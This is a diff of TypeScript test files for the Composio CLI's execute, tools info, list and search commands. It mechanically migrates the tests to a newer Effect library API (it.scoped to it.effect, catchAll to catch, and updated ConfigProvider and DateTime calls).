634 '[Given] a non-managed connected account [Then] execute preloads auth configs into the Tool Router session',
635 it => {
635 - it.scoped('passes explicit auth_configs for custom auth toolkits', () =>
636 + it.effect('passes explicit auth_configs for custom auth toolkits', () =>
637 Effect.gen(function* () {
638 yield* cli([
639 'execute',
@@ -687,7 +688,7 @@ describe('CLI: composio execute', () => {
688 },
689 })
690 )('[Given] cached auth configs [Then] execute seeds the session from cache', it => {
690 - it.scoped('uses cached auth_configs for consumer execute sessions', () =>
691 + it.effect('uses cached auth_configs for consumer execute sessions', () =>
692 Effect.gen(function* () {
693 vi.spyOn(
694 consumerShortTermCache,
@@ -758,7 +759,7 @@ describe('CLI: composio execute', () => {
759 } satisfies TestLiveInput['toolkitsData'],
760 })
761 )('[Given] file_uploadable schema [Then] execute --get-schema shows a path string input', it => {
761 - it.scoped('renders the CLI-facing schema instead of the raw FileUploadable object', () =>
762 + it.effect('renders the CLI-facing schema instead of the raw FileUploadable object', () =>
763 Effect.gen(function* () {
764 yield* cli(['execute', 'SLACK_UPLOAD_OR_CREATE_A_FILE_IN_SLACK', '--get-schema']);
765 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -818,8 +819,8 @@ describe('CLI: composio execute', () => {
819 meta: {
820 description: 'Email service',
821 categories: [],
821 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
822 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
822 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
823 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
824 available_versions: ['20260115_00', '20260101_00'],
825 tools_count: 36,
826 triggers_count: 2,
@@ -832,7 +833,7 @@ describe('CLI: composio execute', () => {
833 )(
834 '[Given] a cache miss [Then] the stored schema file includes the latest available version',
835 it => {
835 - it.scoped('writes version metadata at the top of the cache file', () =>
836 + it.effect('writes version metadata at the top of the cache file', () =>
837 Effect.gen(function* () {
838 const definition = yield* getOrFetchToolInputDefinition('GMAIL_SEND_EMAIL');
839 const raw = fs.readFileSync(definition.schemaPath, 'utf8');
@@ -888,8 +889,8 @@ describe('CLI: composio execute', () => {
889 meta: {
890 description: 'Email service',
891 categories: [],
891 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
892 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
892 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
893 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
894 available_versions: ['20260316_00'],
895 tools_count: 36,
896 triggers_count: 2,
@@ -902,7 +903,7 @@ describe('CLI: composio execute', () => {
903 )(
904 '[Given] a placeholder tool version [Then] it stores the toolkit latest version instead',
905 it => {
905 - it.scoped('prefers toolkit latest version over 00000000_00', () =>
906 + it.effect('prefers toolkit latest version over 00000000_00', () =>
907 Effect.gen(function* () {
908 const definition = yield* getOrFetchToolInputDefinition('GMAIL_SEND_EMAIL');
909 const raw = fs.readFileSync(definition.schemaPath, 'utf8');
@@ -966,8 +967,8 @@ describe('CLI: composio execute', () => {
967 meta: {
968 description: 'Email service',
969 categories: [],
969 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
970 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
970 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
971 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
972 available_versions: ['20260115_00', '20260101_00'],
973 tools_count: 36,
974 triggers_count: 2,
@@ -980,7 +981,7 @@ describe('CLI: composio execute', () => {
981 )(
982 '[Given] a stale cached schema [Then] it does not block execution and refreshes the cache',
983 it => {
983 - it.scoped('uses tool execution instead of stale validation failure', () =>
984 + it.effect('uses tool execution instead of stale validation failure', () =>
985 Effect.gen(function* () {
986 const cacheDir = yield* setupCacheDir;
987 const schemaPath = `${cacheDir}/tool_definitions/GMAIL_SEND_EMAIL.json`;
@@ -1057,7 +1058,7 @@ describe('CLI: composio execute', () => {
1058 } satisfies TestLiveInput['toolkitsData'],
1059 })
1060 )('[Given] invalid tool input [Then] it fails fast with the cached schema path', it => {
1060 - it.scoped('prints validation issues and writes the schema to tool_definitions', () =>
1061 + it.effect('prints validation issues and writes the schema to tool_definitions', () =>
1062 Effect.gen(function* () {
1063 const cacheDir = yield* setupCacheDir;
1064 const schemaPath = `${cacheDir}/tool_definitions/GMAIL_SEND_EMAIL.json`;
@@ -1117,7 +1118,7 @@ describe('CLI: composio execute', () => {
1118 },
1119 })
1120 )('[Given] a large execution response [Then] it stores the payload in a temp file', it => {
1120 - it.scoped('returns a file reference instead of the full inline payload', () =>
1121 + it.effect('returns a file reference instead of the full inline payload', () =>
1122 Effect.gen(function* () {
1123 yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', '{"recipient":"a"}']);
1124 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -1136,7 +1137,7 @@ describe('CLI: composio execute', () => {
1137 expect(output.tokenCount).toBeGreaterThan(10_000);
1138 // Session artifacts fall back to COMPOSIO_CACHE_DIR, which the shared
1139 // vitest setup pins to a per-test temp directory.
1139 - const cacheDir = yield* ConfigProvider.fromEnv().load(Config.string('COMPOSIO_CACHE_DIR'));
1140 + const cacheDir = yield* Config.string('COMPOSIO_CACHE_DIR').parse(ConfigProvider.fromEnv());
1141 expect(output.outputFilePath).toMatch(/\/[^/]+\/GMAIL_SEND_EMAIL_OUTPUT_[^.]+\.json$/);
1142 expect(output.outputFilePath.startsWith(`${cacheDir}/`)).toBe(true);
1143 expect(fs.existsSync(output.outputFilePath)).toBe(true);
@@ -1158,7 +1159,7 @@ describe('CLI: composio execute', () => {
1159 stdin: { isTTY: true, data: '' },
1160 })
1161 )('[Given] composio execute [Then] it works for the consumer flow', it => {
1161 - it.scoped('root execute works for consumer flow without developer-only flags', () =>
1162 + it.effect('root execute works for consumer flow without developer-only flags', () =>
1163 Effect.gen(function* () {
1164 yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', '{"recipient":"a"}']);
1165 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -1178,7 +1179,7 @@ describe('CLI: composio execute', () => {
1179 stdin: { isTTY: true, data: '' },
1180 })
1181 )('[Given] composio execute --parallel [Then] it executes repeated slug/data groups', it => {
1181 - it.scoped('aggregates results from multiple tool calls', () =>
1182 + it.effect('aggregates results from multiple tool calls', () =>
1183 Effect.gen(function* () {
1184 yield* cli([
1185 'execute',
@@ -1244,7 +1245,7 @@ describe('CLI: composio execute', () => {
1245 },
1246 })
1247 )('[Given] one parallel execution fails [Then] sibling results are retained', it => {
1247 - it.scoped('returns an aggregate result for every requested tool', () =>
1248 + it.effect('returns an aggregate result for every requested tool', () =>
1249 Effect.gen(function* () {
1250 yield* cli([
1251 'execute',
@@ -1256,7 +1257,7 @@ describe('CLI: composio execute', () => {
1257 'GITHUB_CREATE_ISSUE',
1258 '-d',
1259 '{"title":"Bug"}',
1259 - ]).pipe(Effect.catchAll(() => Effect.void));
1260 + ]).pipe(Effect.catch(() => Effect.void));
1261
1262 const lines = yield* MockConsole.getLines({ stripAnsi: true });
1263 const output = parseLastJson(lines);
@@ -1308,7 +1309,7 @@ describe('CLI: composio execute', () => {
1309 } satisfies TestLiveInput['toolkitsData'],
1310 })
1311 )('[Given] composio execute --dry-run [Then] it validates without executing the tool', it => {
1311 - it.scoped('returns a dry-run summary instead of calling the tool', () =>
1312 + it.effect('returns a dry-run summary instead of calling the tool', () =>
1313 Effect.gen(function* () {
1314 yield* cli([
1315 'execute',
@@ -1374,7 +1375,7 @@ describe('CLI: composio execute', () => {
1375 )(
1376 '[Given] file_uploadable input as a local path [Then] execute uploads and sends s3key data',
1377 it => {
1377 - it.scoped('uploads local file paths before Tool Router execution', () =>
1378 + it.effect('uploads local file paths before Tool Router execution', () =>
1379 Effect.gen(function* () {
1380 const tempFile = path.join(os.tmpdir(), `composio-upload-${crypto.randomUUID()}.txt`);
1381 fs.writeFileSync(tempFile, 'hello from cli upload', 'utf8');
@@ -1473,7 +1474,7 @@ describe('CLI: composio execute', () => {
1474 )(
1475 '[Given] --file for a tool with one file_uploadable input [Then] execute injects it automatically',
1476 it => {
1476 - it.scoped('injects into the single file_uploadable field before upload hydration', () =>
1477 + it.effect('injects into the single file_uploadable field before upload hydration', () =>
1478 Effect.gen(function* () {
1479 const tempFile = path.join(os.tmpdir(), `composio-inject-${crypto.randomUUID()}.png`);
1480 fs.writeFileSync(tempFile, 'png-binary-ish', 'utf8');
@@ -1565,7 +1566,7 @@ describe('CLI: composio execute', () => {
1566 )(
1567 '[Given] a nested file_uploadable path under properties without explicit object type [Then] hydration still uploads it',
1568 it => {
1568 - it.scoped('treats property-bearing schema nodes as object-like during upload hydration', () =>
1569 + it.effect('treats property-bearing schema nodes as object-like during upload hydration', () =>
1570 Effect.gen(function* () {
1571 const tempFile = path.join(os.tmpdir(), `composio-nested-${crypto.randomUUID()}.png`);
1572 fs.writeFileSync(tempFile, 'nested-png-binary-ish', 'utf8');
@@ -1654,7 +1655,7 @@ describe('CLI: composio execute', () => {
1655 )(
1656 '[Given] an S3 upload failure [Then] execute surfaces the upload error instead of sending a raw path',
1657 it => {
1657 - it.scoped('propagates upload failures from file hydration', () =>
1658 + it.effect('propagates upload failures from file hydration', () =>
1659 Effect.gen(function* () {
1660 const tempFile = path.join(
1661 os.tmpdir(),
@@ -1728,7 +1729,7 @@ describe('CLI: composio execute', () => {
1729 } satisfies TestLiveInput['toolkitsData'],
1730 })
1731 )('[Given] --file for a tool with no file_uploadable input [Then] execute fails clearly', it => {
1731 - it.scoped('rejects the convenience flag when the schema has no file input', () =>
1732 + it.effect('rejects the convenience flag when the schema has no file input', () =>
1733 Effect.gen(function* () {
1734 const failure = yield* cli([
1735 'execute',
@@ -1792,7 +1793,7 @@ describe('CLI: composio execute', () => {
1793 )(
1794 '[Given] --file for a tool with multiple file_uploadable inputs [Then] execute asks for explicit JSON',
1795 it => {
1795 - it.scoped('fails instead of guessing which file field to use', () =>
1796 + it.effect('fails instead of guessing which file field to use', () =>
1797 Effect.gen(function* () {
1798 const failure = yield* cli([
1799 'execute',
@@ -1849,8 +1850,8 @@ describe('CLI: composio execute', () => {
1850 meta: {
1851 description: 'Email service',
1852 categories: [],
1852 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
1853 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
1853 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
1854 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
1855 available_versions: ['20260316_00'],
1856 tools_count: 36,
1857 triggers_count: 2,
@@ -1861,7 +1862,7 @@ describe('CLI: composio execute', () => {
1862 } satisfies TestLiveInput['toolkitsData'],
1863 })
1864 )('[Given] composio execute --get-schema [Then] it caches and prints the input schema', it => {
1864 - it.scoped('fetches schema without executing the tool', () =>
1865 + it.effect('fetches schema without executing the tool', () =>
1866 Effect.gen(function* () {
1867 const cacheDir = yield* setupCacheDir;
1868 const schemaPath = `${cacheDir}/tool_definitions/GMAIL_SEND_EMAIL.json`;
@@ -1925,7 +1926,7 @@ describe('CLI: composio execute', () => {
1926 )(
1927 '[Given] composio execute --get-schema without a configured test user id [Then] it still works',
1928 it => {
1928 - it.scoped('does not require execution user context for schema fetches', () =>
1929 + it.effect('does not require execution user context for schema fetches', () =>
1930 Effect.gen(function* () {
1931 const cacheDir = yield* setupCacheDir;
1932 const schemaPath = `${cacheDir}/tool_definitions/GITHUB_CREATE_AN_ISSUE.json`;
@@ -1966,7 +1967,7 @@ describe('CLI: composio execute', () => {
1967 )(
1968 '[Given] composio execute with a JS-style object literal [Then] it parses and executes successfully',
1969 it => {
1969 - it.scoped('accepts object literal syntax for -d input', () =>
1970 + it.effect('accepts object literal syntax for -d input', () =>
1971 Effect.gen(function* () {
1972 yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', '{ recipient: "a", subject: "Hello" }']);
1973 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -1987,7 +1988,7 @@ describe('CLI: composio execute', () => {
1988 stdin: { isTTY: true, data: '' },
1989 })
1990 )('[Given] composio execute --perf-debug [Then] it is accepted on the root command', it => {
1990 - it.scoped('parses and executes with perf debug enabled', () =>
1991 + it.effect('parses and executes with perf debug enabled', () =>
1992 Effect.gen(function* () {
1993 yield* cli(['execute', '--perf-debug', 'GMAIL_SEND_EMAIL', '-d', '{"recipient":"a"}']);
1994 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -2014,7 +2015,7 @@ describe('CLI: composio execute', () => {
2015 )(
2016 '[Given] no --user-id and no project test_user_id [Then] falls back to global test_user_id',
2017 it => {
2017 - it.scoped('executes without printing global test user diagnostics', () =>
2018 + it.effect('executes without printing global test user diagnostics', () =>
2019 Effect.gen(function* () {
2020 yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', '{"recipient":"a"}']);
2021 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -2060,7 +2061,7 @@ describe('CLI: composio execute', () => {
2061 stdin: { isTTY: true, data: '' },
2062 })
2063 )('[Given] execute-help helper [Then] prints input parameters only', it => {
2063 - it.scoped('prints execute input schema help for the provided slug', () =>
2064 + it.effect('prints execute input schema help for the provided slug', () =>
2065 Effect.gen(function* () {
2066 yield* showToolsExecuteInputHelp('GMAIL_SEND_EMAIL');
2067 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -2105,7 +2106,7 @@ describe('CLI: composio execute', () => {
2106 stdin: { isTTY: true, data: '' },
2107 })
2108 )('[Given] execute --help with a slug [Then] it shows command help', it => {
2108 - it.scoped('shows the root execute help text', () =>
2109 + it.effect('shows the root execute help text', () =>
2110 Effect.gen(function* () {
2111 yield* cli(['execute', 'GMAIL_SEND_EMAIL', '--help']);
2112 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -2130,7 +2131,7 @@ describe('CLI: composio execute', () => {
2131 stdin: { isTTY: false, data: '{"owner":"composio"}' },
2132 })
2133 )('[Given] stdin is piped [Then] reads input from stdin', it => {
2133 - it.scoped('reads stdin input', () =>
2134 + it.effect('reads stdin input', () =>
2135 Effect.gen(function* () {
2136 yield* cli(['execute', 'GITHUB_GET_REPOS']);
2137 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -2159,14 +2160,14 @@ describe('CLI: composio execute', () => {
2160 },
2161 })
2162 )('[Given] connected account not found slug (legacy) [Then] prints tips', it => {
2162 - it.scoped('prints connected account tips for legacy slug', () =>
2163 + it.effect('prints connected account tips for legacy slug', () =>
2164 Effect.gen(function* () {
2165 yield* cli([
2166 'execute',
2167 'GMAIL_CREATE_EMAIL_DRAFT',
2168 '-d',
2169 '{\"recipient\":\"to@example.com\"}',
2169 - ]).pipe(Effect.catchAll(() => Effect.void));
2170 + ]).pipe(Effect.catch(() => Effect.void));
2171 const lines = yield* MockConsole.getLines({ stripAnsi: true });
2172 const output = lines.join('\n');
2173
@@ -2200,14 +2201,14 @@ describe('CLI: composio execute', () => {
2201 },
2202 })
2203 )('[Given] Tool Router NoActiveConnection error [Then] prints connection tips', it => {
2203 - it.scoped('prints connection tips with toolkit name derived from tool slug', () =>
2204 + it.effect('prints connection tips with toolkit name derived from tool slug', () =>
2205 Effect.gen(function* () {
2206 yield* cli([
2207 'execute',
2208 'GMAIL_CREATE_EMAIL_DRAFT',
2209 '-d',
2210 '{"recipient":"to@example.com"}',
2210 - ]).pipe(Effect.catchAll(() => Effect.void));
2211 + ]).pipe(Effect.catch(() => Effect.void));
2212 const lines = yield* MockConsole.getLines({ stripAnsi: true });
2213 const output = lines.join('\n');
2214
@@ -2233,7 +2234,7 @@ describe('CLI: composio execute', () => {
2234 },
2235 })
2236 )('[Given] custom Tool Router execute mock [Then] returns custom response', it => {
2236 - it.scoped('flows through real ToolsExecutorLive with custom mock', () =>
2237 + it.effect('flows through real ToolsExecutorLive with custom mock', () =>
2238 Effect.gen(function* () {
2239 yield* cli(['execute', 'GITHUB_STAR_REPO', '-d', '{"owner":"composio","repo":"composio"}']);
2240 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -2261,14 +2262,14 @@ describe('CLI: composio execute', () => {
2262 },
2263 })
2264 )('[Given] executor throws wrapped error [Then] prints actionable message', it => {
2264 - it.scoped('prints actionable error details', () =>
2265 + it.effect('prints actionable error details', () =>
2266 Effect.gen(function* () {
2267 yield* cli([
2268 'execute',
2269 'GMAIL_CREATE_EMAIL_DRAFT',
2270 '-d',
2271 '{\"recipient\":\"to@example.com\"}',
2271 - ]).pipe(Effect.catchAll(() => Effect.void));
2272 + ]).pipe(Effect.catch(() => Effect.void));
2273 const lines = yield* MockConsole.getLines({ stripAnsi: true });
2274 const output = lines.join('\n');
2275
@@ -2287,14 +2288,14 @@ describe('CLI: composio execute', () => {
2288 },
2289 })
2290 )('[Given] executor throws object error [Then] prints message and details', it => {
2290 - it.scoped('prints object error message and details', () =>
2291 + it.effect('prints object error message and details', () =>
2292 Effect.gen(function* () {
2293 yield* cli([
2294 'execute',
2295 'GMAIL_CREATE_EMAIL_DRAFT',
2296 '-d',
2297 '{\"recipient\":\"to@example.com\"}',
2297 - ]).pipe(Effect.catchAll(() => Effect.void));
2298 + ]).pipe(Effect.catch(() => Effect.void));
2299 const lines = yield* MockConsole.getLines({ stripAnsi: true });
2300 const output = lines.join('\n');
2301
@@ -2322,14 +2323,14 @@ describe('CLI: composio execute', () => {
2323 },
2324 })
2325 )('[Given] tool returns soft failure with logId [Then] shows error and logId', it => {
2325 - it.scoped('shows error and logId for soft failure', () =>
2326 + it.effect('shows error and logId for soft failure', () =>
2327 Effect.gen(function* () {
2328 yield* cli([
2329 'execute',
2330 'GMAIL_CREATE_EMAIL_DRAFT',
2331 '-d',
2332 '{\"recipient\":\"to@example.com\"}',
2332 - ]).pipe(Effect.catchAll(() => Effect.void));
2333 + ]).pipe(Effect.catch(() => Effect.void));
2334 const lines = yield* MockConsole.getLines({ stripAnsi: true });
2335 const output = lines.join('\n');
2336
@@ -2358,14 +2359,14 @@ describe('CLI: composio execute', () => {
2359 },
2360 })
2361 )('[Given] tool returns soft failure without logId [Then] shows error without logId', it => {
2361 - it.scoped('shows error without logId for soft failure', () =>
2362 + it.effect('shows error without logId for soft failure', () =>
2363 Effect.gen(function* () {
2364 yield* cli([
2365 'execute',
2366 'GMAIL_CREATE_EMAIL_DRAFT',
2367 '-d',
2368 '{\"recipient\":\"to@example.com\"}',
2368 - ]).pipe(Effect.catchAll(() => Effect.void));
2369 + ]).pipe(Effect.catch(() => Effect.void));
2370 const lines = yield* MockConsole.getLines({ stripAnsi: true });
2371 const output = lines.join('\n');
2372
@@ -2397,10 +2398,10 @@ describe('CLI: composio execute', () => {
2398 },
2399 })
2400 )('[Given] meta tool NoActiveConnection error [Then] does not suggest "link composio"', it => {
2400 - it.scoped('omits connection tips for meta tool slugs', () =>
2401 + it.effect('omits connection tips for meta tool slugs', () =>
2402 Effect.gen(function* () {
2403 yield* cli(['execute', 'COMPOSIO_SEARCH_TOOLS', '-d', '{"query":"email"}']).pipe(
2403 - Effect.catchAll(() => Effect.void)
2404 + Effect.catch(() => Effect.void)
2405 );
2406 const lines = yield* MockConsole.getLines({ stripAnsi: true });
2407 const output = lines.join('\n');
@@ -2422,7 +2423,7 @@ describe('CLI: composio execute', () => {
2423 stdin: { isTTY: true, data: '' },
2424 })
2425 )('[Given] -d with invalid JSON [Then] fails with parse error', it => {
2425 - it.scoped('fails with invalid JSON error', () =>
2426 + it.effect('fails with invalid JSON error', () =>
2427 Effect.gen(function* () {
2428 const failure = yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', 'not-valid-json']).pipe(
2429 Effect.flip
@@ -2439,7 +2440,7 @@ describe('CLI: composio execute', () => {
2440 stdin: { isTTY: true, data: '' },
2441 })
2442 )('[Given] -d with JSON array [Then] fails with expected-object error', it => {
2442 - it.scoped('fails with expected object error', () =>
2443 + it.effect('fails with expected object error', () =>
2444 Effect.gen(function* () {
2445 const failure = yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', '[1,2,3]']).pipe(
2446 Effect.flip
@@ -2456,7 +2457,7 @@ describe('CLI: composio execute', () => {
2457 stdin: { isTTY: true, data: '' },
2458 })
2459 )('[Given] -d with JSON string [Then] fails with expected-object error', it => {
2459 - it.scoped('fails with expected object error for string', () =>
2460 + it.effect('fails with expected object error for string', () =>
2461 Effect.gen(function* () {
2462 const failure = yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', '"just a string"']).pipe(
2463 Effect.flip
@@ -2481,7 +2482,7 @@ describe('CLI: composio execute', () => {
2482 },
2483 })
2484 )('[Given] no -d and TTY stdin [Then] defaults to empty object and executes', it => {
2484 - it.scoped('defaults to {} when no data provided', () =>
2485 + it.effect('defaults to {} when no data provided', () =>
2486 Effect.gen(function* () {
2487 yield* cli(['execute', 'GMAIL_SEND_EMAIL']);
2488 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -2500,7 +2501,7 @@ describe('CLI: composio execute', () => {
2501 stdin: { isTTY: false, data: '' },
2502 })
2503 )('[Given] empty piped stdin [Then] fails with parse error', it => {
2503 - it.scoped('fails with error for empty stdin', () =>
2504 + it.effect('fails with error for empty stdin', () =>
2505 Effect.gen(function* () {
2506 const failure = yield* cli(['execute', 'GMAIL_SEND_EMAIL']).pipe(Effect.flip);
2507 expectInvalidValueMessage(failure, 'Invalid JSON input');
@@ -2529,7 +2530,7 @@ describe('CLI: composio execute', () => {
2530 },
2531 })
2532 )('[Given] CI redaction enabled [Then] redacts id-like fields and logId', it => {
2532 - it.scoped('redacts id, threadId, logId but preserves labelIds', () =>
2533 + it.effect('redacts id, threadId, logId but preserves labelIds', () =>
2534 Effect.gen(function* () {
2535 const spy = vi
2536 .spyOn(redactModule, 'redact')
ts/packages/cli/test/src/commands/tools/tools.info.cmd.test.ts
+8 -8
@@ -84,15 +84,15 @@ const toolkitsData = {
84 tools: testTools,
85 } satisfies TestLiveInput['toolkitsData'];
86
87 -const testConfigProvider = ConfigProvider.fromMap(
88 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
89 -).pipe(extendConfigProvider);
87 +const testConfigProvider = ConfigProvider.fromEnv({
88 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
89 +}).pipe(extendConfigProvider);
90
91 describe('CLI: composio tools info', () => {
92 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
93 '[Given] valid slug [Then] displays tool info',
94 it => {
95 - it.scoped('shows brief tool details and cached schema path', () =>
95 + it.effect('shows brief tool details and cached schema path', () =>
96 Effect.gen(function* () {
97 yield* cli(['tools', 'info', 'GMAIL_SEND_EMAIL']);
98 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -115,7 +115,7 @@ describe('CLI: composio tools info', () => {
115 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
116 '[Given] file_uploadable tool info [Then] it shows the CLI-facing file schema',
117 it => {
118 - it.scoped('renders file inputs as path strings in JSON output', () =>
118 + it.effect('renders file inputs as path strings in JSON output', () =>
119 Effect.gen(function* () {
120 yield* cli(['tools', 'info', 'SLACK_UPLOAD_OR_CREATE_A_FILE_IN_SLACK']);
121 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -144,7 +144,7 @@ describe('CLI: composio tools info', () => {
144 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
145 '[Given] no slug [Then] warns missing argument',
146 it => {
147 - it.scoped('shows missing argument warning', () =>
147 + it.effect('shows missing argument warning', () =>
148 Effect.gen(function* () {
149 yield* cli(['tools', 'info']);
150 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -159,7 +159,7 @@ describe('CLI: composio tools info', () => {
159 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
160 '[Given] invalid slug [Then] shows error and suggestions',
161 it => {
162 - it.scoped('shows not found with suggestions', () =>
162 + it.effect('shows not found with suggestions', () =>
163 Effect.gen(function* () {
164 yield* cli(['tools', 'info', 'NONEXISTENT_TOOL']);
165 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -172,7 +172,7 @@ describe('CLI: composio tools info', () => {
172 );
173
174 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
175 - it.scoped('warns user to login', () =>
175 + it.effect('warns user to login', () =>
176 Effect.gen(function* () {
177 yield* cli(['tools', 'info', 'GMAIL_SEND_EMAIL']);
178 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/tools/tools.list.cmd.test.ts
+11 -11
@@ -51,15 +51,15 @@ const toolkitsData = {
51 tools: testTools,
52 } satisfies TestLiveInput['toolkitsData'];
53
54 -const testConfigProvider = ConfigProvider.fromMap(
55 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
56 -).pipe(extendConfigProvider);
54 +const testConfigProvider = ConfigProvider.fromEnv({
55 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
56 +}).pipe(extendConfigProvider);
57
58 describe('CLI: composio tools list', () => {
59 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
60 '[Given] toolkit "gmail" [Then] lists gmail tools',
61 it => {
62 - it.scoped('lists all tools', () =>
62 + it.effect('lists all tools', () =>
63 Effect.gen(function* () {
64 yield* cli(['tools', 'list', 'gmail']);
65 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -77,7 +77,7 @@ describe('CLI: composio tools list', () => {
77 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
78 '[Given] toolkit "gmail" [Then] lists only gmail tools',
79 it => {
80 - it.scoped('filters by toolkit', () =>
80 + it.effect('filters by toolkit', () =>
81 Effect.gen(function* () {
82 yield* cli(['tools', 'list', 'gmail']);
83 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -95,7 +95,7 @@ describe('CLI: composio tools list', () => {
95 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
96 '[Given] --query "send" [Then] shows filtered results',
97 it => {
98 - it.scoped('filters by search query', () =>
98 + it.effect('filters by search query', () =>
99 Effect.gen(function* () {
100 yield* cli(['tools', 'list', 'gmail', '--query', 'send']);
101 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -111,7 +111,7 @@ describe('CLI: composio tools list', () => {
111 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
112 '[Given] --limit 2 [Then] respects limit',
113 it => {
114 - it.scoped('respects limit', () =>
114 + it.effect('respects limit', () =>
115 Effect.gen(function* () {
116 yield* cli(['tools', 'list', 'gmail', '--limit', '2']);
117 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -124,7 +124,7 @@ describe('CLI: composio tools list', () => {
124 );
125
126 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
127 - it.scoped('warns user to login', () =>
127 + it.effect('warns user to login', () =>
128 Effect.gen(function* () {
129 yield* cli(['tools', 'list', 'gmail']);
130 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -138,7 +138,7 @@ describe('CLI: composio tools list', () => {
138 layer(TestLive({ baseConfigProvider: testConfigProvider }))(
139 '[Given] empty results [Then] shows no tools found',
140 it => {
141 - it.scoped('shows no tools found', () =>
141 + it.effect('shows no tools found', () =>
142 Effect.gen(function* () {
143 yield* cli(['tools', 'list', 'gmail']);
144 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -153,7 +153,7 @@ describe('CLI: composio tools list', () => {
153 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
154 '[Given] --tags "email" [Then] filters by tag',
155 it => {
156 - it.scoped('filters by tag', () =>
156 + it.effect('filters by tag', () =>
157 Effect.gen(function* () {
158 yield* cli(['tools', 'list', 'gmail', '--tags', 'email']);
159 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -170,7 +170,7 @@ describe('CLI: composio tools list', () => {
170 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
171 '[Given] toolkit "nonexistent" [Then] shows no tools found with hint',
172 it => {
173 - it.scoped('shows hint about verifying toolkit slug', () =>
173 + it.effect('shows hint about verifying toolkit slug', () =>
174 Effect.gen(function* () {
175 yield* cli(['tools', 'list', 'nonexistent']);
176 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/tools/tools.search.cmd.test.ts
+580 -590
@@ -44,9 +44,9 @@ const toolkitsData = {
44 tools: testTools,
45 } satisfies TestLiveInput['toolkitsData'];
46
47 -const testConfigProvider = ConfigProvider.fromMap(
48 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
49 -).pipe(extendConfigProvider);
47 +const testConfigProvider = ConfigProvider.fromEnv({
48 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
49 +}).pipe(extendConfigProvider);
50
51 const testLiveOptions = {
52 baseConfigProvider: testConfigProvider,
@@ -99,7 +99,7 @@ const extractFirstJsonObject = (output: string): Record<string, unknown> | null
99
100 describe('CLI: composio search', () => {
101 layer(TestLive(testLiveOptions))('[Given] a blank query [Then] typed validation fails', it => {
102 - it.scoped('returns the structured missing-query error', () =>
102 + it.effect('returns the structured missing-query error', () =>
103 Effect.gen(function* () {
104 const failure = yield* cli(['search', ' ']).pipe(Effect.flip);
105 expect(failure).toBeInstanceOf(ToolsSearchInputError);
@@ -112,7 +112,7 @@ describe('CLI: composio search', () => {
112 });
113
114 layer(TestLive(testLiveOptions))('[Given] query "send" [Then] returns JSON by default', it => {
